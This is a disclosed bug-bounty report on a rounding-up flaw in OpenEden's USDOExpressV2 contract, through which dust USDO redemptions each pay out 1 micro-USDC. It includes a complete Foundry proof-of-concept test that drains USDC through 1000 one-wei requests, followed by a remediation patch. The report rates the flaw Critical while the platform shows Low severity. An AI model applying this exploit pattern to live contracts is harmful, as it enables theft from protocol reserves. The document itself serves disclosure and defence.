OpenEden Disclosed Report

Upward Rounding in AssetRegistry.convertToUnderlying causes dust-redemption overpayment in USDOExpressV2

Company
Created date
Oct 10 2025

Target

https://github.com/OpenEdenHQ/openeden.usdoexpress.audit/tree/f3f31d2ac15e3253cba342229f9d05495f95d6fd

Vulnerability Details

The conversion from 18-decimal USDO to lower-decimal underlying assets (6-decimal USDC) uses upward rounding during scale-down. As a result any non-zero USDO amount smaller than the conversion factor is rounded up to the smallest underlying unit. For USDC (6 decimals), divisor = 10^(18 − 6) = 10^12. So any 0 < usdoAmount < 10^12 becomes 1 micro-USDC (1e-6 USDC) granting value for “dust” USDO amounts.

Root cause code (file: contracts/extensions/AssetRegistry.sol)

function convertToUnderlying(address asset, uint256 usdoAmount) external view returns (uint256 assetAmount) {
    AssetConfig memory config = _assetConfigs[asset];
    if (!config.isSupported) revert AssetRegistryAssetNotSupported(asset);

    uint8 assetDecimals = IERC20Metadata(asset).decimals();

    // Scale down from USDO decimals to asset decimals with proper rounding
    uint256 divisor = 10 ** (_USDO_DECIMALS - assetDecimals);
    uint256 amount = usdoAmount.mulDiv(1, divisor, MathUpgradeable.Rounding.Up); // rounds UP in user's favor

    // If asset has price feed, convert from USD value
    if (config.priceFeed != address(0)) {
        (uint256 rate, uint8 feedDecimals) = _getFreshPrice(config.priceFeed);
        assetAmount = amount.mulDiv(10 ** feedDecimals, rate);
    } else {
        assetAmount = amount;
    }
}

Consumption in redemption path (file: contracts/extensions/USDOExpressV2.sol)

// inside processRedemptionQueue(...)
uint256 usdcAmt = convertToUnderlying(_usdc, usdoAmt);
uint256 feeInUsdc = txsFee(usdcAmt, TxType.REDEEM);
uint256 usdcToUser = usdcAmt - feeInUsdc;

_distributeUsdc(receiver, usdcToUser, feeInUsdc);

Why it’s exploitable

  • An attacker can submit many redemption requests with extremely small USDO amounts (lets say 1 wei). Each is rounded up to 1 micro-USDC, yielding a net positive payout while burning negligible USDO.
  • Aggregated across many requests (and over time), this drains USDC from protocol reserves. Fees on micro amounts typically truncate to zero (basis points) further improving attacker ROI.

Proof-of-Concept (PoC)

  • The PoC creates 1000 redemption requests of 1 wei USDO each then processes the queue, verifying that the attacker receives 1000 micro-USDC while the Express contract loses the same amount.

Key PoC snippet (file: test/RoundingExploit.t.sol)

uint256 requests = 1000; // 1000 requests of 1 wei each
for (uint256 i = 0; i < requests; i++) {
    express.redeemRequest(attacker, 1); // burn 1 wei USDO per request
}
// Operator processes queue
express.processRedemptionQueue(0);

// Each 1 wei USDO converts to ceil(1 / 1e12) = 1 micro USDC due to rounding up
uint256 expectedPayoutMicros = requests; // 1e-6 USDC each
assertEq(attackerUsdcAfter - attackerUsdcBefore, expectedPayoutMicros);
assertEq(expressUsdcBefore - expressUsdcAfter, expectedPayoutMicros);

Impact

  • Direct theft of funds (USDC) from protocol reserves through dust redemptions.
  • Depletion of USDC liquidity, preventing legitimate redemptions.
  • Over time, this can cause insolvency, as reserves no longer match claims.
  • Griefing vector by spamming dust entries in the redemption queue with negative unit economics.

Severity: Critical Impacted Assets: USDC reserves controlled by USDOExpressV2 redemption queue; USDO monetary integrity.

Validation steps

Poc File: test/RoundingExploit.t.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;

import "forge-std/Test.sol";

import "../contracts/tokens/USDO.sol";
import "../contracts/extensions/USDOExpressV2.sol";
import "../contracts/extensions/AssetRegistry.sol";
import "../contracts/extensions/USDOMintRedeemLimiter.sol";
import "../contracts/interfaces/IAssetRegistry.sol";
import "../contracts/mock/MockCUSDO.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";

contract MockERC20 is ERC20 {
    uint8 private _decimals;

    constructor(string memory name, string memory symbol, uint8 decimals_) ERC20(name, symbol) {
        _decimals = decimals_;
    }

    function decimals() public view override returns (uint8) {
        return _decimals;
    }

    function mint(address to, uint256 amount) external {
        _mint(to, amount);
    }
}

contract RoundingExploitTest is Test {
    USDO public usdo;
    USDOExpressV2 public express;
    AssetRegistry public registry;
    MockERC20 public usdc;
    MockCUSDO public cusdo;

    address public admin = address(this);
    address public maintainer = address(this);
    address public operator = address(this);
    address public feeTo = address(0xFEE);
    address public treasury = address(0xB0B);
    address public attacker = address(0xBEEF);

    function setUp() public {
        // Deploy tokens
        usdc = new MockERC20("USD Coin", "USDC", 6);

        // Deploy USDO behind an ERC1967Proxy
        USDO usdoImpl = new USDO();
        address usdoProxy = address(new ERC1967Proxy(address(usdoImpl), abi.encodeWithSelector(USDO.initialize.selector, "USDO", "USDO", admin)));
        usdo = USDO(usdoProxy);
        // set a sufficiently large cap to allow minting in tests
        usdo.updateTotalSupplyCap(type(uint256).max / 2);

        // Deploy cUSDO mock (not used in this exploit path)
        cusdo = new MockCUSDO(address(usdo));

        // Deploy and initialize AssetRegistry behind a proxy
        AssetRegistry regImpl = new AssetRegistry();
        address regProxy = address(new ERC1967Proxy(address(regImpl), abi.encodeWithSelector(AssetRegistry.initialize.selector, admin)));
        registry = AssetRegistry(regProxy);

        // Support USDC with no price feed
        IAssetRegistry.AssetConfig memory cfg;
        cfg.asset = address(usdc);
        cfg.isSupported = true;
        cfg.priceFeed = address(0);
        registry.setAssetConfig(cfg);

        // Prepare limiter configuration
        USDOMintRedeemLimiterCfg memory limiter;
        limiter.totalSupplyCap = type(uint256).max / 2;
        limiter.mintMinimum = 0;             // not used in this test
        limiter.mintLimit = type(uint256).max;
        limiter.mintDuration = 1 days;
        limiter.redeemMinimum = 1;           // 1 wei USDO (critical for rounding exploit)
        limiter.redeemLimit = type(uint256).max;
        limiter.redeemDuration = 1 days;
        limiter.firstDepositAmount = 0;

        // Deploy and initialize USDOExpressV2 behind a proxy
        USDOExpressV2 expressImpl = new USDOExpressV2();
        address expressProxy = address(
            new ERC1967Proxy(
                address(expressImpl),
                abi.encodeWithSelector(
                    USDOExpressV2.initialize.selector,
                    address(usdo),
                    address(cusdo),
                    address(usdc),
                    treasury,
                    feeTo,
                    maintainer,
                    operator,
                    admin,
                    address(registry),
                    limiter
                )
            )
        );
        express = USDOExpressV2(expressProxy);

        // Grant Express BURNER role on USDO so it can burn during redemption
        vm.startPrank(admin);
        usdo.grantRole(usdo.BURNER_ROLE(), address(express));
        // Also give admin power to mint some USDO to attacker for setup
        usdo.grantRole(usdo.MINTER_ROLE(), admin);
        vm.stopPrank();

        // KYC: maintainer has WHITELIST_ROLE via initialize, so this will succeed
        address[] memory batch = new address[](1);
        batch[0] = attacker;
        express.grantKycInBulk(batch); // grant for attacker
        // Self KYC "to" must also be true (redeemRequest checks both from and to); same address is fine

        // Fund Express with USDC liquidity so it can pay out
        usdc.mint(address(express), 1_000_000e6);

        // Mint a tiny amount of USDO to attacker
        usdo.mint(attacker, 1000); // 1000 wei USDO
    }

    // Exploit: Rounding-up in AssetRegistry.convertToUnderlying lets attacker redeem dust USDO for full USDC micro-units
    // Impact: Direct theft of USDC from the Express contract balance (drains liquidity), protocol insolvency risk
    function test_RoundingUpRedemption_DrainsUSDC() public {
        // Preconditions
        assertEq(usdc.balanceOf(address(express)), 1_000_000e6, "Express USDC liquidity seeded");

        // Attacker submits many small redemption requests of 1 wei USDO each
        vm.startPrank(attacker);

        // Approve KYC satisfied; burn happens inside redeemRequest
        uint256 requests = 1000; // 1000 requests of 1 wei each
        for (uint256 i = 0; i < requests; i++) {
            express.redeemRequest(attacker, 1);
        }
        vm.stopPrank();

        // Process entire queue as operator
        uint256 attackerUsdcBefore = usdc.balanceOf(attacker);
        uint256 expressUsdcBefore = usdc.balanceOf(address(express));
        uint256 queueLen = express.getRedemptionQueueLength();
        assertEq(queueLen, requests, "Queue length should match number of requests");

        // Process all
        express.processRedemptionQueue(0);

        // Each 1 wei USDO converts to ceil(1 / 1e12) = 1 micro USDC due to rounding up in AssetRegistry
        uint256 expectedPayoutMicros = requests; // 1e-6 USDC each
        uint256 attackerUsdcAfter = usdc.balanceOf(attacker);
        uint256 expressUsdcAfter = usdc.balanceOf(address(express));

        assertEq(attackerUsdcAfter - attackerUsdcBefore, expectedPayoutMicros, "Attacker gains 1 micro USDC per request");
        assertEq(expressUsdcBefore - expressUsdcAfter, expectedPayoutMicros, "Express loses corresponding USDC");

        // Sanity: attacker burned negligible USDO (1000 wei) for 1000 micro USDC = 0.001 USDC windfall
        // 0.001 USDC >> 1000 wei USDO economic value, demonstrating theft via rounding-up
    }
}

Run the PoC test

forge test -vvv --match-test test_RoundingUpRedemption_DrainsUSDC

Output:

Ran 1 test for test/RoundingExploit.t.sol:RoundingExploitTest
[PASS] test_RoundingUpRedemption_DrainsUSDC() (gas: 124203451)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 104.60ms (98.65ms CPU time)

Ran 1 test suite in 177.36ms (104.60ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
  • PASS. The test confirms the attacker receives 1 micro-USDC per 1 wei USDO redemption request and the Express contract’s USDC balance decreases accordingly.

What to observe

  • Before processing: Express USDC liquidity seeded (lets say 1,000,000e6 micros).
  • After processing: Attacker balance increases by “requests” micro-USDC, express balance decreases by the same amount.
  • Fees on micro amounts are zero at typical basis-point fee rates, attacker retains all payout.

Step-by-step validation

  1. Review conversion logic:
    • Open contracts/extensions/AssetRegistry.sol.
    • Confirm convertToUnderlying uses:
uint256 amount = usdoAmount.mulDiv(1, divisor, MathUpgradeable.Rounding.Up);
  • For USDC (6 decimals), divisor = 1e12; sub-divisor amounts round up to 1.
  1. Confirm redemption path:
    • Open contracts/extensions/USDOExpressV2.sol.
    • In processRedemptionQueue, note:
uint256 usdcAmt = convertToUnderlying(_usdc, usdoAmt);
uint256 feeInUsdc = txsFee(usdcAmt, TxType.REDEEM);
uint256 usdcToUser = usdcAmt - feeInUsdc;
  • Micro usdcAmt results in micro usdcToUser with fee likely 0.
  1. Execute the PoC:
    • Run: Bash
forge test -vvv --match-test test_RoundingUpRedemption_DrainsUSDC
  • Expected PASS showing cumulative micro-USDC paid to attacker.
  1. Optional verification:
    • Adjust “requests” count in the PoC to measure linear scaling.
    • Observe Express USDC decrease equals attacker USDC increase.

Remediation

Mandatory fix (code-level)

  • Use rounding down when scaling from 18-decimal USDO to lower-decimal assets.

Patch (AssetRegistry.sol)

// Before (vulnerable)
uint256 amount = usdoAmount.mulDiv(1, divisor, MathUpgradeable.Rounding.Up);

// After (safe)
uint256 amount = usdoAmount.mulDiv(1, divisor, MathUpgradeable.Rounding.Down);

Defense-in-depth (configuration and logic)

  • Enforce minimum redeem amount aligned to conversion factor:
    • For a 6-decimal asset: redeemMinimum => 10^(18 − 6) = 1e12 wei USDO.
    • Optionally require redemption amounts to be multiples of the factor.
  • Fee floor:
    • Apply a minimum fee of 1 unit when a non-zero payout occurs or round fees up.
  • Queue hygiene:
    • Reject/aggregate sub-threshold entries to avoid dust payouts and operational griefing.

Attachments

hidden
CommentsReport History
Comments on this report are hidden
Details
Statedisclosed
Severity
Low
Bounty$14
Visibilitypartially
VulnerabilityBlockchain
Participants (4)
company admin
author
triage team
triage team